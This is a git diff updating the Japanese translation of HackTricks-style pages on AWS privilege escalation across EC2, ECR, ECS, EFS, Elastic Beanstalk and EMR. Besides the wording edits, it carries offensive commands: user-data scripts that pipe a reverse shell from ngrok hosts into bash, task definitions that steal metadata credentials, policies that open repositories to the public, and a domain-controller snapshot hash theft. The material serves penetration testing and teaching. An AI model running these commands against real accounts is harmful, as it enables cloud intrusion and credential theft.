-**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これを自分が制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。 +**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これにより、彼らが制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。 -このツールを使用して攻撃を自動化できます:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術のいずれかを使用することができます。 +このツールを使用して攻撃を自動化できます:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術のいずれかを使用することもできます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index e38b253ec..540d70f16 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -**EC2に関する詳細情報**は以下を確認してください: +**EC2に関する詳細情報**は次を確認してください: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -16,15 +16,15 @@ - **SSH経由でのアクセス** -**作成した** **sshキー**を使用して新しいインスタンスを起動し(新しいものを作成する場合は`ec2:CreateKeyPair`の権限が必要になることがあります)、それにsshで接続します。 +**作成した** **sshキー**を使用して新しいインスタンスを起動し(`--key-name`)、その後sshで接続します(新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **ユーザーデータによるrev shellへのアクセス** +- **ユーザーデータを使用したrev shellへのアクセス** -**ユーザーデータ**(`--user-data`)を使用して新しいインスタンスを起動すると、**rev shell**を送信できます。この方法ではセキュリティグループを指定する必要はありません。 +**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**rev shell** を送信します。この方法ではセキュリティグループを指定する必要はありません。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -注意:インスタンスの外でIAMロールの資格情報を使用する場合、GuradDutyに注意してください。 +GuradDutyを使用する際は、インスタンスの外でIAMロールの資格情報を使用する場合に注意してください: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ #### ECSへの権限昇格 -この権限セットを使用すると、**EC2インスタンスを作成し、それをECSクラスター内に登録**することもできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス(Dockerコンテナ)に侵入し、**添付されたECSロールを盗む**ことができます。 +この権限セットを使用すると、**EC2インスタンスを作成し、ECSクラスター内に登録する**こともできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス(Dockerコンテナ)に侵入し、**添付されたECSロールを盗む**ことができます。 ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,7 +59,7 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -新しいEC2インスタンスで**ECSサービスを強制的に実行する方法**を学ぶには、次を確認してください: +ECSサービスをこの新しいEC2インスタンスで**強制的に実行する方法**を学ぶには、次を確認してください: {{#ref}} aws-ecs-privesc.md @@ -67,11 +67,11 @@ aws-ecs-privesc.md **新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。 -**潜在的な影響:** タスクに付随するECSロールへの直接的な権限昇格。 +**潜在的な影響:** タスクに付与されたECSロールへの直接的な権限昇格。 -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** +### **`iam:PassRole`、** **`iam:AddRoleToInstanceProfile`** -前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し、新しい認証情報を盗むことができます。\ +前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**して新しい資格情報を盗むことができます。\ インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、**`iam:RemoveRoleFromInstanceProfile`**も必要になります。 ```bash # Removing role from instance profile @@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、**そのロールをそのインスタンスプロファイルに追加**し(前述の通り)、**インスタンスプロファイルを侵害されたインスタンスに関連付ける**ことができます: +もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、その**インスタンスプロファイル**に**ロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます: -- もしインスタンスが**インスタンスプロファイルを持っていない**場合(`ec2:AssociateIamInstanceProfile`)\* +- インスタンスが**インスタンスプロファイルを持っていない場合**(`ec2:AssociateIamInstanceProfile`)\* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**潜在的影響:** 別のEC2ロールへの直接的な権限昇格(AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。 +**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加の権限または特定のインスタンスプロファイルの状態を持っている必要があります)。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。 -- **インスタンスプロファイルがある場合、** インスタンスプロファイルを**削除**することができ(`ec2:DisassociateIamInstanceProfile`)、**関連付ける**ことができます \* +- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** することができ (`ec2:DisassociateIamInstanceProfile`)、それを **関連付ける** ことができます \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -121,7 +121,7 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更する**ことができ、これによりインスタンスが**任意のデータを実行する**ことが可能になります。これを利用して**EC2インスタンスへのrev shellを取得**することができます。 +**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して、**EC2インスタンスへのrev shellを取得**することができます。 属性は**インスタンスが停止している間のみ**変更できるため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の**権限**が必要です。 ```bash @@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**潜在的影響:** 作成されたインスタンスに付与された任意のEC2 IAMロールへの直接的な権限昇格。 +**潜在的影響:** 作成されたインスタンスに付随する任意のEC2 IAMロールへの直接的な権限昇格。 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意のAutoscalerグループ**が**最新**または**デフォルトバージョン**を使用するように構成されている場合、**そのテンプレートを使用してインスタンスを再実行**し、**rev shell**を実行します。 +**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**revシェル**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、**そのLaunch Template**を使用する**任意のAutoscalerグループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、revシェルを実行します。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +178,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。 +**潜在的影響:** 別の EC2 ロールへの直接的な特権昇格。 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。 +**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAM ロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAM ロール**を**盗む**のを待つことができます。 ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -206,18 +206,18 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `ec2-instance-connect:SendSSHPublicKey` -**`ec2-instance-connect:SendSSHPublicKey`** の権限を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます(インスタンスへのsshアクセスがある場合)または権限を昇格させることができます。 +権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます(インスタンスへのsshアクセスがある場合)または権限を昇格させることができます。 ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**潜在的な影響:** 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。 +**潜在的な影響:** 実行中のインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にsshキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。 +**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にSSHキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。 シリアルポートに接続するためには、**マシン内のユーザーのユーザー名とパスワードを知っている必要があります。** ```bash @@ -231,13 +231,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特にプライベートエスカレーションにはあまり役立ちません。 +この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。 -**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに付随するEC2 IAMロールへの直接的なプライベートエスカレーション。 +**潜在的な影響:** (非常に証明が難しい)実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。 ### `describe-launch-templates`,`describe-launch-template-versions` -起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用する可能性があります。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします: +起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index b9a32815f..074b73a7a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -32,7 +32,7 @@ ### `ecr:SetRepositoryPolicy` -この権限を持つ攻撃者は **リポジトリ** **ポリシー** を **変更** して、自分自身(または全員)に **読み取り/書き込みアクセス** を付与することができます。\ +この権限を持つ攻撃者は **リポジトリのポリシーを変更** して、自分自身(または全員)に **読み書きアクセス** を付与することができます。\ 例えば、この例では全員に読み取りアクセスが付与されています。 ```bash aws ecr set-repository-policy \ @@ -60,7 +60,7 @@ aws ecr set-repository-policy \ ### `ecr-public:SetRepositoryPolicy` 前のセクションと同様ですが、パブリックリポジトリ用です。\ -攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、不正なパブリックアクセスを付与したり、権限を昇格させたりすることができます。 +攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、無許可のパブリックアクセスを付与したり、権限を昇格させたりすることができます。 ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ @@ -87,7 +87,7 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**潜在的な影響**: ECRパブリックリポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。 +**潜在的な影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。 ### `ecr:PutRegistryPolicy` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index d0573849e..02d4fb085 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -ECSに関する**詳細情報**は以下を参照してください: +More **info about ECS** in: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ECSに関する**詳細情報**は以下を参照してください: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -`iam:PassRole`、`ecs:RegisterTaskDefinition`、および `ecs:RunTask` の権限を悪用する攻撃者は、**メタデータ認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**実行する**ことができます。 +ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、および`ecs:RunTask`の権限を悪用する攻撃者は、**メタデータの認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、**実行**することができます。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,11 +32,11 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**潜在的な影響:** 異なるECSロールへの直接的な権限昇格。 +**潜在的影響:** 異なるECSロールへの直接的な権限昇格。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -前の例と同様に、攻撃者がECSの**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**権限を悪用することで、**悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、それを**実行**することができます。\ +前の例と同様に、ECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**権限を悪用する攻撃者は、**メタデータ認証情報を盗む**悪意のあるコンテナを持つ**新しいタスク定義を生成**し、**それを実行**することができます。\ ただし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。 ```bash # Generate task definition with rev shell @@ -53,7 +53,7 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**潜在的な影響:** どのECSロールへの直接的な権限昇格。 +**潜在的な影響:** どのECSロールにも直接的な権限昇格。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` @@ -80,7 +80,7 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**潜在的な影響:** どのECSロールにも直接的な権限昇格。 +**潜在的な影響:** 任意のECSロールへの直接的な権限昇格。 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` @@ -96,12 +96,12 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\ -これは依然として興味深いです。なぜなら、任意のコンテナを実行できる場合、たとえロールなしであっても、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行中の**他のECSコンテナロール**を**盗む**ことができるからです。\ -さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、彼らの資格情報を盗むことができます([**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されています)。 +このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ない**状態です。\ +これは依然として興味深いです。なぜなら、たとえロールなしであっても任意のコンテナを実行できる場合、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行されている**他のECSコンテナのロール**を**盗む**ことができるからです。\ +さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、その資格情報を盗むことができます([**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されているように)。 > [!WARNING] -> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能です。 +> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能であり、Fargateではありません。 ```bash printf '[ { @@ -144,10 +144,10 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -**`ecs:ExecuteCommand`** と **`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます(`aws ecs execute-command` を実行するためには describe 権限が必要です)。\ -しかし、そのためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります(デフォルトでは実行されていません)。 +**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます(`aws ecs execute-command` を実行するためには describe 権限が必要です)。\ +しかし、それを行うためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります(デフォルトでは実行されていません)。 -したがって、攻撃者は以下を試みることができます: +したがって、攻撃者は次のことを試みることができます: - **すべての実行中のコンテナでコマンドを実行しようとする** ```bash @@ -167,18 +167,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- 彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。 -- 彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。 -- 彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。 -- 彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。 +- もし彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。 +- もし彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。 +- もし彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。 +- もし彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。 -**これらのオプションの例**は **以前のECSプライベートセクション**にあります。 +**これらのオプションの例**は **以前のECS privescセクション**にあります。 -**潜在的な影響:** コンテナに付随する別のロールへのプライベートエスカレーション。 +**潜在的な影響:** コンテナに付随する別のロールへの権限昇格。 ### `ssm:StartSession` -**ssmプライベートセクション**で、この権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください: +**ssm privescページ**でこの権限を悪用して **ECSへの権限昇格**がどのようにできるかを確認してください: {{#ref}} aws-ssm-privesc.md @@ -186,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -**ec2プライベートセクション**で、これらの権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください: +**ec2 privescページ**でこれらの権限を悪用して **ECSへの権限昇格**がどのようにできるかを確認してください: {{#ref}} aws-ec2-privesc.md @@ -194,14 +194,14 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: 攻撃者が制御するマシンでタスクが実行されるように、異なるAWSアカウントからインスタンスを登録することは可能ですか? +TODO: 攻撃者が制御するマシンでタスクが実行されるように、別のAWSアカウントからインスタンスを登録することは可能ですか? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: これをテストする -`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新**することができます。これにより、攻撃者は **サービス内で任意のコードを実行**することができます。 +`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新する**ことができます。これにより、攻撃者は **サービス内で任意のコードを実行する**ことができます。 ```bash bashCopy code# Register a task definition with a reverse shell echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 75402dffe..05653f8ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,11 +10,11 @@ EFSに関する**詳細情報**は以下にあります: ../aws-services/aws-efs-enum.md {{#endref}} -EFSをマウントするには、EFSが公開されているサブネットワークにいる必要があり、アクセス権(セキュリティグループ)が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。 +EFSをマウントするには、EFSが公開されているサブネット内にいる必要があり、アクセス権(セキュリティグループ)が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -これらの権限のいずれかを持っていると、攻撃者は**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。 +これらの権限のいずれかを持つ攻撃者は、**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。 ポリシーを削除するには: ```bash @@ -58,13 +58,13 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に**書き込む**ためと、そのファイルシステムに**ルート**として**アクセス**するために使用できます。 +`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に **書き込む** ためと、そのファイルシステムに **ルート** として **アクセス** するために使用できます。 -**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。 +**潜在的な影響:** ファイルシステム内の機密情報を見つけることによる間接的な特権昇格。 ### `elasticfilesystem:CreateMountTarget` -攻撃者がEFSの**マウントターゲット**が存在しない**サブネット**内にいる場合、彼はこの権限を使って**自分のサブネットに作成する**ことができます。 +攻撃者が **マウントターゲット** が存在しない **サブネット** 内にいる場合、彼はこの権限を使って **自分のサブネット** にマウントターゲットを **作成** することができます。 ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することができる**: +攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することでそれを修正できる**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index ed0bef6cc..5c9438d4b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` など... -上記に加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** の権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。 +言及されたものに加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** 権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。 - AWS Elastic Beanstalk アプリケーションを作成する: ```bash @@ -42,7 +42,7 @@ aws elasticbeanstalk create-application --application-name MyApp ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -環境がすでに作成されていて、**新しいものを作成したくない**場合は、既存のものを**更新**するだけです。 +既に環境が作成されていて、新しい環境を作成したくない場合は、既存の環境を**更新**するだけです。 - アプリケーションコードと依存関係をZIPファイルにパッケージします: ```python @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -あなた自身の **Beanstalk 環境で** リバースシェルを実行している場合、次は **それを移行** する時です。そうするためには、あなたの Beanstalk S3 バケットの **バケットポリシーを更新** して **被害者がアクセスできるように** する必要があります(これにより、バケットが **誰にでも開放される** ことに注意してください): +あなた自身のBeanstalk環境でリバースシェルを実行しているら、次はそれを被害者の環境に**移行**する時です。そのためには、あなたのBeanstalk S3バケットの**バケットポリシーを更新**して、**被害者がアクセスできる**ようにする必要があります(これにより、バケットが**全員に開放**されることに注意してください): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 002de7273..2e91d563d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -注意が必要なのは、`--service-role` で **EMRロール** が指定され、`--ec2-attributes` 内で **ec2ロール** 